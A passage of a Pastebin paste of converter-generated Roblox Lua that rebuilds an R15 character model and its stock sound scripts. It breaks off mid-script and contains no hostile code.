Advertisement
Guest User

Untitled

a guest
Nov 21st, 2019
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 96.26 KB | None | 0 0
  1. -- Thanks for using Mod2S by NopeUsername
  2. local functions = {}
  3. function sandbox(script, func)
  4. local oldEnv = getfenv(func)
  5.  
  6. local newEnv = setmetatable({}, {
  7. __index = function(self,k)
  8. if k == "script" then
  9. return script
  10. else
  11. return oldEnv[k]
  12. end
  13. end,
  14. })
  15.  
  16. return setfenv(func, newEnv)
  17. end
  18.  
  19. local mas = Instance.new("Model", game:GetService("Lighting"))
  20. -- DECLARING VARIABLES
  21.  
  22. local iwantbanthisgame = Instance.new("Model")
  23. local HumanoidRootPart = Instance.new("Part")
  24. local OriginalSize = Instance.new("Vector3Value")
  25. local LeftLowerArm = Instance.new("MeshPart")
  26. local OriginalSize_1 = Instance.new("Vector3Value")
  27. local LeftElbow = Instance.new("Motor6D")
  28. local LeftUpperArm = Instance.new("MeshPart")
  29. local OriginalSize_2 = Instance.new("Vector3Value")
  30. local LeftShoulder = Instance.new("Motor6D")
  31. local BodyColors = Instance.new("BodyColors")
  32. local RightLowerArm = Instance.new("MeshPart")
  33. local OriginalSize_3 = Instance.new("Vector3Value")
  34. local RightElbow = Instance.new("Motor6D")
  35. local RightUpperArm = Instance.new("MeshPart")
  36. local OriginalSize_4 = Instance.new("Vector3Value")
  37. local RightUpperLeg = Instance.new("MeshPart")
  38. local OriginalSize_5 = Instance.new("Vector3Value")
  39. local RightHip = Instance.new("Motor6D")
  40. local RightHand = Instance.new("MeshPart")
  41. local OriginalSize_6 = Instance.new("Vector3Value")
  42. local RightWrist = Instance.new("Motor6D")
  43. local LowerTorso = Instance.new("MeshPart")
  44. local OriginalSize_7 = Instance.new("Vector3Value")
  45. local Root = Instance.new("Motor6D")
  46. local LeftFoot = Instance.new("MeshPart")
  47. local OriginalSize_8 = Instance.new("Vector3Value")
  48. local LeftAnkle = Instance.new("Motor6D")
  49. local LeftLowerLeg = Instance.new("MeshPart")
  50. local OriginalSize_9 = Instance.new("Vector3Value")
  51. local LeftKnee = Instance.new("Motor6D")
  52. local LeftHand = Instance.new("MeshPart")
  53. local OriginalSize_10 = Instance.new("Vector3Value")
  54. local LeftWrist = Instance.new("Motor6D")
  55. local RightFoot = Instance.new("MeshPart")
  56. local OriginalSize_11 = Instance.new("Vector3Value")
  57. local RightAnkle = Instance.new("Motor6D")
  58. local RightLowerLeg = Instance.new("MeshPart")
  59. local OriginalSize_12 = Instance.new("Vector3Value")
  60. local RightKnee = Instance.new("Motor6D")
  61. local UpperTorso = Instance.new("MeshPart")
  62. local OriginalSize_13 = Instance.new("Vector3Value")
  63. local Waist = Instance.new("Motor6D")
  64. local Humanoid = Instance.new("Humanoid")
  65. local Animator = Instance.new("Animator")
  66. local BodyWidthScale = Instance.new("NumberValue")
  67. local BodyHeightScale = Instance.new("NumberValue")
  68. local BodyDepthScale = Instance.new("NumberValue")
  69. local HeadScale = Instance.new("NumberValue")
  70. local Status = Instance.new("Status")
  71. local Head = Instance.new("Part")
  72. local Mesh = Instance.new("SpecialMesh")
  73. local OriginalSize_14 = Instance.new("Vector3Value")
  74. local face = Instance.new("Decal")
  75. local OriginalSize_15 = Instance.new("Vector3Value")
  76. local Neck = Instance.new("Motor6D")
  77. local GettingUp = Instance.new("Sound")
  78. local Died = Instance.new("Sound")
  79. local FreeFalling = Instance.new("Sound")
  80. local Jumping = Instance.new("Sound")
  81. local Landing = Instance.new("Sound")
  82. local Splash = Instance.new("Sound")
  83. local Running = Instance.new("Sound")
  84. local Swimming = Instance.new("Sound")
  85. local Climbing = Instance.new("Sound")
  86. local HeadWeld = Instance.new("Weld")
  87. local Sound = Instance.new("Script")
  88. local LocalSound = Instance.new("LocalScript")
  89. local Animate = Instance.new("LocalScript")
  90. local climb = Instance.new("StringValue")
  91. local ClimbAnim = Instance.new("Animation")
  92. local fall = Instance.new("StringValue")
  93. local FallAnim = Instance.new("Animation")
  94. local idle = Instance.new("StringValue")
  95. local Animation1 = Instance.new("Animation")
  96. local Weight = Instance.new("NumberValue")
  97. local Animation2 = Instance.new("Animation")
  98. local Weight_1 = Instance.new("NumberValue")
  99. local jump = Instance.new("StringValue")
  100. local JumpAnim = Instance.new("Animation")
  101. local run = Instance.new("StringValue")
  102. local RunAnim = Instance.new("Animation")
  103. local sit = Instance.new("StringValue")
  104. local SitAnim = Instance.new("Animation")
  105. local toollunge = Instance.new("StringValue")
  106. local ToolLungeAnim = Instance.new("Animation")
  107. local walk = Instance.new("StringValue")
  108. local WalkAnim = Instance.new("Animation")
  109. local swimidle = Instance.new("StringValue")
  110. local SwimIdle = Instance.new("Animation")
  111. local swim = Instance.new("StringValue")
  112. local Swim = Instance.new("Animation")
  113. local toolslash = Instance.new("StringValue")
  114. local ToolSlashAnim = Instance.new("Animation")
  115. local toolnone = Instance.new("StringValue")
  116. local ToolNoneAnim = Instance.new("Animation")
  117. local wave = Instance.new("StringValue")
  118. local WaveAnim = Instance.new("Animation")
  119. local laugh = Instance.new("StringValue")
  120. local LaughAnim = Instance.new("Animation")
  121. local point = Instance.new("StringValue")
  122. local PointAnim = Instance.new("Animation")
  123. local cheer = Instance.new("StringValue")
  124. local CheerAnim = Instance.new("Animation")
  125. local dance = Instance.new("StringValue")
  126. local Animation1_1 = Instance.new("Animation")
  127. local Weight_2 = Instance.new("NumberValue")
  128. local Animation2_1 = Instance.new("Animation")
  129. local Weight_3 = Instance.new("NumberValue")
  130. local Animation3 = Instance.new("Animation")
  131. local Weight_4 = Instance.new("NumberValue")
  132. local dance2 = Instance.new("StringValue")
  133. local Animation1_2 = Instance.new("Animation")
  134. local Weight_5 = Instance.new("NumberValue")
  135. local Animation2_2 = Instance.new("Animation")
  136. local Weight_6 = Instance.new("NumberValue")
  137. local Animation3_1 = Instance.new("Animation")
  138. local Weight_7 = Instance.new("NumberValue")
  139. local dance3 = Instance.new("StringValue")
  140. local Animation1_3 = Instance.new("Animation")
  141. local Weight_8 = Instance.new("NumberValue")
  142. local Animation2_3 = Instance.new("Animation")
  143. local Weight_9 = Instance.new("NumberValue")
  144. local Animation3_2 = Instance.new("Animation")
  145. local Weight_10 = Instance.new("NumberValue")
  146. local Health = Instance.new("Script")
  147. local LeftUpperLeg = Instance.new("MeshPart")
  148. local OriginalSize_16 = Instance.new("Vector3Value")
  149. local LeftHip = Instance.new("Motor6D")
  150. local Pants = Instance.new("Pants")
  151. local ROBLOXCap = Instance.new("Hat")
  152. local Handle = Instance.new("Part")
  153. local Mesh_1 = Instance.new("SpecialMesh")
  154. local OriginalSize_17 = Instance.new("Vector3Value")
  155. local ThumbnailCamera = Instance.new("Camera")
  156. local Shirt = Instance.new("Shirt")
  157. local Script = Instance.new("Script")
  158. local Script_1 = Instance.new("Script")
  159. local Script_2 = Instance.new("Script")
  160. local Script_3 = Instance.new("Script")
  161. local Script_4 = Instance.new("Script")
  162. local Script_5 = Instance.new("Script")
  163. local Script_6 = Instance.new("Script")
  164. local Script_7 = Instance.new("Script")
  165. local Script_8 = Instance.new("Script")
  166. local Script_9 = Instance.new("Script")
  167. local Script_10 = Instance.new("Script")
  168. local Script_11 = Instance.new("Script")
  169. local Handle_1 = Instance.new("Part")
  170. local Mesh_2 = Instance.new("SpecialMesh")
  171. local Decal = Instance.new("Decal")
  172.  
  173. -- SETTING PROPERTIES
  174.  
  175. iwantbanthisgame.PrimaryPart = HumanoidRootPart
  176. iwantbanthisgame.Name = "i want ban this game"
  177. iwantbanthisgame.Parent = mas
  178.  
  179. HumanoidRootPart.Anchored = true
  180. HumanoidRootPart.CFrame = CFrame.new(-68.931,2.973,-14.726,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  181. HumanoidRootPart.Color = Color3.new(0.624,0.631,0.675)
  182. HumanoidRootPart.Size = Vector3.new(2,2,1)
  183. HumanoidRootPart.Transparency = 1
  184. HumanoidRootPart.Velocity = Vector3.new(0,0,0)
  185. HumanoidRootPart.Name = "HumanoidRootPart"
  186. HumanoidRootPart.Parent = iwantbanthisgame
  187.  
  188. OriginalSize.Value = Vector3.new(2,2,1)
  189. OriginalSize.Name = "OriginalSize"
  190. OriginalSize.Parent = HumanoidRootPart
  191.  
  192. LeftLowerArm.Anchored = true
  193. LeftLowerArm.CFrame = CFrame.new(-67.538,2.778,-14.662,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  194. LeftLowerArm.CanCollide = false
  195. LeftLowerArm.Color = Color3.new(0.898,0.894,0.875)
  196. LeftLowerArm.Size = Vector3.new(0.812,1.161,0.902)
  197. LeftLowerArm.Velocity = Vector3.new(0,0,0)
  198. LeftLowerArm.Name = "LeftLowerArm"
  199. LeftLowerArm.Parent = iwantbanthisgame
  200.  
  201. OriginalSize_1.Value = Vector3.new(0.812,1.161,0.902)
  202. OriginalSize_1.Name = "OriginalSize"
  203. OriginalSize_1.Parent = LeftLowerArm
  204.  
  205. LeftElbow.C0 = CFrame.new(-0.355,-0.24,-0.075,1,0,0,0,1,0,0,0,1)
  206. LeftElbow.C1 = CFrame.new(-0.106,0.295,0.001,1,0,0,0,1,0,0,0,1)
  207. LeftElbow.Part0 = LeftUpperArm
  208. LeftElbow.Part1 = LeftLowerArm
  209. LeftElbow.Name = "LeftElbow"
  210. LeftElbow.Parent = LeftLowerArm
  211.  
  212. LeftUpperArm.Anchored = true
  213. LeftUpperArm.CFrame = CFrame.new(-67.784,3.313,-14.749,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  214. LeftUpperArm.CanCollide = false
  215. LeftUpperArm.Color = Color3.new(0.898,0.894,0.875)
  216. LeftUpperArm.Size = Vector3.new(0.935,1.213,0.759)
  217. LeftUpperArm.Velocity = Vector3.new(0,0,0)
  218. LeftUpperArm.Name = "LeftUpperArm"
  219. LeftUpperArm.Parent = iwantbanthisgame
  220.  
  221. OriginalSize_2.Value = Vector3.new(0.935,1.213,0.759)
  222. OriginalSize_2.Name = "OriginalSize"
  223. OriginalSize_2.Parent = LeftUpperArm
  224.  
  225. LeftShoulder.C0 = CFrame.new(-1.25,0.45,0.019,1,0,0,0,1,0,0,0,1)
  226. LeftShoulder.C1 = CFrame.new(-0.106,0.41,-0.075,1,0,0,0,1,0,0,0,1)
  227. LeftShoulder.Part0 = UpperTorso
  228. LeftShoulder.Part1 = LeftUpperArm
  229. LeftShoulder.Name = "LeftShoulder"
  230. LeftShoulder.Parent = LeftUpperArm
  231.  
  232. BodyColors.HeadColor = BrickColor.new("Light stone grey")
  233. BodyColors.HeadColor3 = Color3.new(0.898,0.894,0.875)
  234. BodyColors.LeftArmColor = BrickColor.new("Light stone grey")
  235. BodyColors.LeftArmColor3 = Color3.new(0.898,0.894,0.875)
  236. BodyColors.LeftLegColor = BrickColor.new("Medium blue")
  237. BodyColors.LeftLegColor3 = Color3.new(0.431,0.6,0.792)
  238. BodyColors.RightArmColor = BrickColor.new("Light stone grey")
  239. BodyColors.RightArmColor3 = Color3.new(0.898,0.894,0.875)
  240. BodyColors.RightLegColor = BrickColor.new("Medium blue")
  241. BodyColors.RightLegColor3 = Color3.new(0.431,0.6,0.792)
  242. BodyColors.TorsoColor = BrickColor.new("Bright red")
  243. BodyColors.TorsoColor3 = Color3.new(0.769,0.157,0.11)
  244. BodyColors.Parent = iwantbanthisgame
  245.  
  246. RightLowerArm.Anchored = true
  247. RightLowerArm.CFrame = CFrame.new(-70.323,3.346,-14.052,-0.999,0,0.045,-0.044,0.244,-0.969,-0.011,-0.97,-0.244)
  248. RightLowerArm.CanCollide = false
  249. RightLowerArm.Color = Color3.new(0.898,0.894,0.875)
  250. RightLowerArm.Size = Vector3.new(0.812,1.161,0.902)
  251. RightLowerArm.Velocity = Vector3.new(0,0,0)
  252. RightLowerArm.Name = "RightLowerArm"
  253. RightLowerArm.Parent = iwantbanthisgame
  254.  
  255. OriginalSize_3.Value = Vector3.new(0.812,1.161,0.902)
  256. OriginalSize_3.Name = "OriginalSize"
  257. OriginalSize_3.Parent = RightLowerArm
  258.  
  259. RightElbow.C0 = CFrame.new(0.356,-0.24,-0.075,1,0,0,0,1,0,0,0,1)
  260. RightElbow.C1 = CFrame.new(0.106,0.295,0.001,1,0,0,0,1,0,0,0,1)
  261. RightElbow.Part0 = RightUpperArm
  262. RightElbow.Part1 = RightLowerArm
  263. RightElbow.Name = "RightElbow"
  264. RightElbow.Parent = RightLowerArm
  265.  
  266. RightUpperArm.Anchored = true
  267. RightUpperArm.CFrame = CFrame.new(-70.07,3.414,-14.586,-0.999,0,0.045,-0.044,0.244,-0.969,-0.011,-0.97,-0.244)
  268. RightUpperArm.CanCollide = false
  269. RightUpperArm.Color = Color3.new(0.898,0.894,0.875)
  270. RightUpperArm.Size = Vector3.new(0.935,1.213,0.759)
  271. RightUpperArm.Velocity = Vector3.new(0,0,0)
  272. RightUpperArm.Name = "RightUpperArm"
  273. RightUpperArm.Parent = iwantbanthisgame
  274.  
  275. OriginalSize_4.Value = Vector3.new(0.935,1.213,0.759)
  276. OriginalSize_4.Name = "OriginalSize"
  277. OriginalSize_4.Parent = RightUpperArm
  278.  
  279. RightUpperLeg.Anchored = true
  280. RightUpperLeg.CFrame = CFrame.new(-69.32,1.562,-14.754,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  281. RightUpperLeg.CanCollide = false
  282. RightUpperLeg.Color = Color3.new(0.431,0.6,0.792)
  283. RightUpperLeg.Size = Vector3.new(0.781,1.742,0.854)
  284. RightUpperLeg.Velocity = Vector3.new(0,0,0)
  285. RightUpperLeg.Name = "RightUpperLeg"
  286. RightUpperLeg.Parent = iwantbanthisgame
  287.  
  288. OriginalSize_5.Value = Vector3.new(0.781,1.742,0.854)
  289. OriginalSize_5.Name = "OriginalSize"
  290. OriginalSize_5.Parent = RightUpperLeg
  291.  
  292. RightHip.C0 = CFrame.new(0.5,-0.353,-0.02,1,0,0,0,1,0,0,0,1)
  293. RightHip.C1 = CFrame.new(0.11,0.411,-0.01,1,0,0,0,1,0,0,0,1)
  294. RightHip.Part0 = LowerTorso
  295. RightHip.Part1 = RightUpperLeg
  296. RightHip.Name = "RightHip"
  297. RightHip.Parent = RightUpperLeg
  298.  
  299. RightHand.Anchored = true
  300. RightHand.CFrame = CFrame.new(-70.45,3.492,-13.31,-0.999,0,0.045,-0.044,0.244,-0.969,-0.011,-0.97,-0.244)
  301. RightHand.CanCollide = false
  302. RightHand.Color = Color3.new(0.898,0.894,0.875)
  303. RightHand.Size = Vector3.new(0.753,0.891,0.773)
  304. RightHand.Velocity = Vector3.new(0,0,0)
  305. RightHand.Name = "RightHand"
  306. RightHand.Parent = iwantbanthisgame
  307.  
  308. OriginalSize_6.Value = Vector3.new(0.753,0.891,0.773)
  309. OriginalSize_6.Name = "OriginalSize"
  310. OriginalSize_6.Parent = RightHand
  311.  
  312. RightWrist.C0 = CFrame.new(0.106,-0.505,0.001,1,0,0,0,1,0,0,0,1)
  313. RightWrist.C1 = CFrame.new(-0.006,0.179,0.329,1,0,0,0,1,0,0,0,1)
  314. RightWrist.Part0 = RightLowerArm
  315. RightWrist.Part1 = RightHand
  316. RightWrist.Name = "RightWrist"
  317. RightWrist.Parent = RightHand
  318.  
  319. LowerTorso.Anchored = true
  320. LowerTorso.CFrame = CFrame.new(-68.93,2.326,-14.746,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  321. LowerTorso.Color = Color3.new(0.769,0.157,0.11)
  322. LowerTorso.Size = Vector3.new(1.672,0.632,1.037)
  323. LowerTorso.Velocity = Vector3.new(0,0,0)
  324. LowerTorso.Name = "LowerTorso"
  325. LowerTorso.Parent = iwantbanthisgame
  326.  
  327. OriginalSize_7.Value = Vector3.new(1.672,0.632,1.037)
  328. OriginalSize_7.Name = "OriginalSize"
  329. OriginalSize_7.Parent = LowerTorso
  330.  
  331. Root.C0 = CFrame.new(0,-0.65,0,1,0,0,0,1,0,0,0,1)
  332. Root.C1 = CFrame.new(0,-0.003,-0.02,1,0,0,0,1,0,0,0,1)
  333. Root.Part0 = HumanoidRootPart
  334. Root.Part1 = LowerTorso
  335. Root.Name = "Root"
  336. Root.Parent = LowerTorso
  337.  
  338. LeftFoot.Anchored = true
  339. LeftFoot.CFrame = CFrame.new(-68.519,0.41,-14.523,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  340. LeftFoot.CanCollide = false
  341. LeftFoot.Color = Color3.new(0.431,0.6,0.792)
  342. LeftFoot.Size = Vector3.new(0.721,0.82,1.243)
  343. LeftFoot.Velocity = Vector3.new(0,0,0)
  344. LeftFoot.Name = "LeftFoot"
  345. LeftFoot.Parent = iwantbanthisgame
  346.  
  347. OriginalSize_8.Value = Vector3.new(0.721,0.82,1.243)
  348. OriginalSize_8.Name = "OriginalSize"
  349. OriginalSize_8.Parent = LeftFoot
  350.  
  351. LeftAnkle.C0 = CFrame.new(-0.08,-0.583,-0.01,1,0,0,0,1,0,0,0,1)
  352. LeftAnkle.C1 = CFrame.new(-0.08,-0.237,0.184,1,0,0,0,1,0,0,0,1)
  353. LeftAnkle.Part0 = LeftLowerLeg
  354. LeftAnkle.Part1 = LeftFoot
  355. LeftAnkle.Name = "LeftAnkle"
  356. LeftAnkle.Parent = LeftFoot
  357.  
  358. LeftLowerLeg.Anchored = true
  359. LeftLowerLeg.CFrame = CFrame.new(-68.511,0.756,-14.717,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  360. LeftLowerLeg.CanCollide = false
  361. LeftLowerLeg.Color = Color3.new(0.431,0.6,0.792)
  362. LeftLowerLeg.Size = Vector3.new(0.721,1.263,0.854)
  363. LeftLowerLeg.Velocity = Vector3.new(0,0,0)
  364. LeftLowerLeg.Name = "LeftLowerLeg"
  365. LeftLowerLeg.Parent = iwantbanthisgame
  366.  
  367. OriginalSize_9.Value = Vector3.new(0.721,1.263,0.854)
  368. OriginalSize_9.Name = "OriginalSize"
  369. OriginalSize_9.Parent = LeftLowerLeg
  370.  
  371. LeftKnee.C0 = CFrame.new(-0.11,-0.389,-0.01,1,0,0,0,1,0,0,0,1)
  372. LeftKnee.C1 = CFrame.new(-0.08,0.417,-0.01,1,0,0,0,1,0,0,0,1)
  373. LeftKnee.Part0 = LeftUpperLeg
  374. LeftKnee.Part1 = LeftLowerLeg
  375. LeftKnee.Name = "LeftKnee"
  376. LeftKnee.Parent = LeftLowerLeg
  377.  
  378. LeftHand.Anchored = true
  379. LeftHand.CFrame = CFrame.new(-67.441,2.094,-14.329,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  380. LeftHand.CanCollide = false
  381. LeftHand.Color = Color3.new(0.898,0.894,0.875)
  382. LeftHand.Size = Vector3.new(0.753,0.891,0.773)
  383. LeftHand.Velocity = Vector3.new(0,0,0)
  384. LeftHand.Name = "LeftHand"
  385. LeftHand.Parent = iwantbanthisgame
  386.  
  387. OriginalSize_10.Value = Vector3.new(0.753,0.891,0.773)
  388. OriginalSize_10.Name = "OriginalSize"
  389. OriginalSize_10.Parent = LeftHand
  390.  
  391. LeftWrist.C0 = CFrame.new(-0.106,-0.505,0.001,1,0,0,0,1,0,0,0,1)
  392. LeftWrist.C1 = CFrame.new(0.007,0.179,0.329,1,0,0,0,1,0,0,0,1)
  393. LeftWrist.Part0 = LeftLowerArm
  394. LeftWrist.Part1 = LeftHand
  395. LeftWrist.Name = "LeftWrist"
  396. LeftWrist.Parent = LeftHand
  397.  
  398. RightFoot.Anchored = true
  399. RightFoot.CFrame = CFrame.new(-69.359,0.41,-14.561,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  400. RightFoot.CanCollide = false
  401. RightFoot.Color = Color3.new(0.431,0.6,0.792)
  402. RightFoot.Size = Vector3.new(0.721,0.82,1.243)
  403. RightFoot.Velocity = Vector3.new(0,0,0)
  404. RightFoot.Name = "RightFoot"
  405. RightFoot.Parent = iwantbanthisgame
  406.  
  407. OriginalSize_11.Value = Vector3.new(0.721,0.82,1.243)
  408. OriginalSize_11.Name = "OriginalSize"
  409. OriginalSize_11.Parent = RightFoot
  410.  
  411. RightAnkle.C0 = CFrame.new(0.08,-0.583,-0.01,1,0,0,0,1,0,0,0,1)
  412. RightAnkle.C1 = CFrame.new(0.08,-0.237,0.185,1,0,0,0,1,0,0,0,1)
  413. RightAnkle.Part0 = RightLowerLeg
  414. RightAnkle.Part1 = RightFoot
  415. RightAnkle.Name = "RightAnkle"
  416. RightAnkle.Parent = RightFoot
  417.  
  418. RightLowerLeg.Anchored = true
  419. RightLowerLeg.CFrame = CFrame.new(-69.35,0.756,-14.755,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  420. RightLowerLeg.CanCollide = false
  421. RightLowerLeg.Color = Color3.new(0.431,0.6,0.792)
  422. RightLowerLeg.Size = Vector3.new(0.721,1.263,0.854)
  423. RightLowerLeg.Velocity = Vector3.new(0,0,0)
  424. RightLowerLeg.Name = "RightLowerLeg"
  425. RightLowerLeg.Parent = iwantbanthisgame
  426.  
  427. OriginalSize_12.Value = Vector3.new(0.721,1.263,0.854)
  428. OriginalSize_12.Name = "OriginalSize"
  429. OriginalSize_12.Parent = RightLowerLeg
  430.  
  431. RightKnee.C0 = CFrame.new(0.11,-0.389,-0.01,1,0,0,0,1,0,0,0,1)
  432. RightKnee.C1 = CFrame.new(0.08,0.417,-0.01,1,0,0,0,1,0,0,0,1)
  433. RightKnee.Part0 = RightUpperLeg
  434. RightKnee.Part1 = RightLowerLeg
  435. RightKnee.Name = "RightKnee"
  436. RightKnee.Parent = RightLowerLeg
  437.  
  438. UpperTorso.Anchored = true
  439. UpperTorso.CFrame = CFrame.new(-68.932,3.273,-14.707,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  440. UpperTorso.Color = Color3.new(0.769,0.157,0.11)
  441. UpperTorso.Size = Vector3.new(1.839,2.351,1.073)
  442. UpperTorso.Velocity = Vector3.new(0,0,0)
  443. UpperTorso.Name = "UpperTorso"
  444. UpperTorso.Parent = iwantbanthisgame
  445.  
  446. OriginalSize_13.Value = Vector3.new(1.839,2.351,1.073)
  447. OriginalSize_13.Name = "OriginalSize"
  448. OriginalSize_13.Parent = UpperTorso
  449.  
  450. Waist.C0 = CFrame.new(0,0.397,-0.02,1,0,0,0,1,0,0,0,1)
  451. Waist.C1 = CFrame.new(0,-0.55,0.019,1,0,0,0,1,0,0,0,1)
  452. Waist.Part0 = LowerTorso
  453. Waist.Part1 = UpperTorso
  454. Waist.Name = "Waist"
  455. Waist.Parent = UpperTorso
  456.  
  457. Humanoid.HipHeight = 1.973
  458. Humanoid.RigType = Enum.HumanoidRigType.R15
  459. Humanoid.Parent = iwantbanthisgame
  460.  
  461. Animator.Parent = Humanoid
  462.  
  463. BodyWidthScale.Value = 1
  464. BodyWidthScale.Name = "BodyWidthScale"
  465. BodyWidthScale.Parent = Humanoid
  466.  
  467. BodyHeightScale.Value = 1
  468. BodyHeightScale.Name = "BodyHeightScale"
  469. BodyHeightScale.Parent = Humanoid
  470.  
  471. BodyDepthScale.Value = 1
  472. BodyDepthScale.Name = "BodyDepthScale"
  473. BodyDepthScale.Parent = Humanoid
  474.  
  475. HeadScale.Value = 1
  476. HeadScale.Name = "HeadScale"
  477. HeadScale.Parent = Humanoid
  478.  
  479. Head.Anchored = true
  480. Head.BottomSurface = Enum.SurfaceType.Smooth
  481. Head.CFrame = CFrame.new(-68.931,4.473,-14.726,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
  482. Head.Color = Color3.new(0.898,0.894,0.875)
  483. Head.Size = Vector3.new(2,1,1)
  484. Head.TopSurface = Enum.SurfaceType.Smooth
  485. Head.Velocity = Vector3.new(0,0,0)
  486. Head.Name = "Head"
  487. Head.Parent = iwantbanthisgame
  488.  
  489. Mesh.Scale = Vector3.new(1.25,1.25,1.25)
  490. Mesh.Parent = Head
  491.  
  492. OriginalSize_14.Value = Vector3.new(1.25,1.25,1.25)
  493. OriginalSize_14.Name = "OriginalSize"
  494. OriginalSize_14.Parent = Mesh
  495.  
  496. face.Texture = "rbxasset://textures/face.png"
  497. face.Name = "face"
  498. face.Parent = Head
  499.  
  500. OriginalSize_15.Value = Vector3.new(2,1,1)
  501. OriginalSize_15.Name = "OriginalSize"
  502. OriginalSize_15.Parent = Head
  503.  
  504. Neck.C0 = CFrame.new(0,0.7,0.019,1,0,0,0,1,0,0,0,1)
  505. Neck.C1 = CFrame.new(0,-0.5,0,1,0,0,0,1,0,0,0,1)
  506. Neck.Part0 = UpperTorso
  507. Neck.Part1 = Head
  508. Neck.Name = "Neck"
  509. Neck.Parent = Head
  510.  
  511. GettingUp.EmitterSize = 5
  512. GettingUp.MaxDistance = 150
  513. GettingUp.SoundId = "rbxasset://sounds/action_get_up.mp3"
  514. GettingUp.Volume = 0.65
  515. GettingUp.Name = "GettingUp"
  516. GettingUp.Parent = Head
  517.  
  518. Died.EmitterSize = 5
  519. Died.MaxDistance = 150
  520. Died.SoundId = "rbxasset://sounds/uuhhh.mp3"
  521. Died.Volume = 0.65
  522. Died.Name = "Died"
  523. Died.Parent = Head
  524.  
  525. FreeFalling.EmitterSize = 5
  526. FreeFalling.Looped = true
  527. FreeFalling.MaxDistance = 150
  528. FreeFalling.SoundId = "rbxasset://sounds/action_falling.mp3"
  529. FreeFalling.Volume = 0.65
  530. FreeFalling.Name = "FreeFalling"
  531. FreeFalling.Parent = Head
  532.  
  533. Jumping.EmitterSize = 5
  534. Jumping.MaxDistance = 150
  535. Jumping.SoundId = "rbxasset://sounds/action_jump.mp3"
  536. Jumping.Volume = 0.65
  537. Jumping.Name = "Jumping"
  538. Jumping.Parent = Head
  539.  
  540. Landing.EmitterSize = 5
  541. Landing.MaxDistance = 150
  542. Landing.SoundId = "rbxasset://sounds/action_jump_land.mp3"
  543. Landing.Volume = 0.65
  544. Landing.Name = "Landing"
  545. Landing.Parent = Head
  546.  
  547. Splash.EmitterSize = 5
  548. Splash.MaxDistance = 150
  549. Splash.SoundId = "rbxasset://sounds/impact_water.mp3"
  550. Splash.Volume = 0.65
  551. Splash.Name = "Splash"
  552. Splash.Parent = Head
  553.  
  554. Running.EmitterSize = 5
  555. Running.Looped = true
  556. Running.MaxDistance = 150
  557. Running.PlaybackSpeed = 1.85
  558. Running.SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3"
  559. Running.Volume = 0.65
  560. Running.Name = "Running"
  561. Running.Parent = Head
  562.  
  563. Swimming.EmitterSize = 5
  564. Swimming.Looped = true
  565. Swimming.MaxDistance = 150
  566. Swimming.PlaybackSpeed = 1.6
  567. Swimming.SoundId = "rbxasset://sounds/action_swim.mp3"
  568. Swimming.Volume = 0.65
  569. Swimming.Name = "Swimming"
  570. Swimming.Parent = Head
  571.  
  572. Climbing.EmitterSize = 5
  573. Climbing.Looped = true
  574. Climbing.MaxDistance = 150
  575. Climbing.SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3"
  576. Climbing.Volume = 0.65
  577. Climbing.Name = "Climbing"
  578. Climbing.Parent = Head
  579.  
  580. HeadWeld.C0 = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
  581. HeadWeld.C1 = CFrame.new(0,-0.075,0.2,1,0,0,0,1,0,0,0,1)
  582. HeadWeld.Part0 = Head
  583. HeadWeld.Part1 = Handle
  584. HeadWeld.Name = "HeadWeld"
  585. HeadWeld.Parent = Head
  586.  
  587. table.insert(functions,sandbox(Sound,function()
  588. --[[
  589. Author: @spotco
  590. This script creates sounds which are placed under the character head.
  591. These sounds are used by the "LocalSound" script.
  592.  
  593. To modify this script, copy it to your "StarterPlayer/StarterCharacterScripts" folder keeping the same script name ("Sound").
  594. The default Sound script loaded for every character will then be replaced with your copy of the script.
  595. ]]--
  596.  
  597. function CreateNewSound(name, id, looped, pitch, parent)
  598. local sound = Instance.new("Sound")
  599. sound.SoundId = id
  600. sound.Name = name
  601. sound.archivable = false
  602. sound.Parent = parent
  603. sound.Pitch = pitch
  604. sound.Looped = looped
  605.  
  606. sound.MinDistance = 5
  607. sound.MaxDistance = 150
  608. sound.Volume = 0.65
  609.  
  610. return sound
  611. end
  612.  
  613. local head = script.Parent:FindFirstChild("Head")
  614. if head == nil then
  615. error("Sound script parent has no child Head.")
  616. return
  617. end
  618.  
  619.  
  620. CreateNewSound("GettingUp", "rbxasset://sounds/action_get_up.mp3", false, 1, head)
  621. CreateNewSound("Died", "rbxasset://sounds/uuhhh.mp3", false, 1, head)
  622. CreateNewSound("FreeFalling", "rbxasset://sounds/action_falling.mp3", true, 1, head)
  623. CreateNewSound("Jumping", "rbxasset://sounds/action_jump.mp3", false, 1, head)
  624. CreateNewSound("Landing", "rbxasset://sounds/action_jump_land.mp3", false, 1, head)
  625. CreateNewSound("Splash", "rbxasset://sounds/impact_water.mp3", false, 1, head)
  626. CreateNewSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1.85, head)
  627. CreateNewSound("Swimming", "rbxasset://sounds/action_swim.mp3", true, 1.6, head)
  628. CreateNewSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1, head)
  629. end))
  630. Sound.Name = "Sound"
  631. Sound.Parent = iwantbanthisgame
  632.  
  633. table.insert(functions,sandbox(LocalSound,function()
  634. --[[
  635. Author: @spotco
  636. This script runs locally for the player of the given humanoid.
  637. This script triggers humanoid sound play/pause actions locally.
  638.  
  639. The Playing/TimePosition properties of Sound objects bypass FilteringEnabled, so this triggers the sound
  640. immediately for the player and is replicated to all other players.
  641.  
  642. This script is optimized to reduce network traffic through minimizing the amount of property replication.
  643. ]]--
  644.  
  645. --All sounds are referenced by this ID
  646. local SFX = {
  647. Died = 0;
  648. Running = 1;
  649. Swimming = 2;
  650. Climbing = 3,
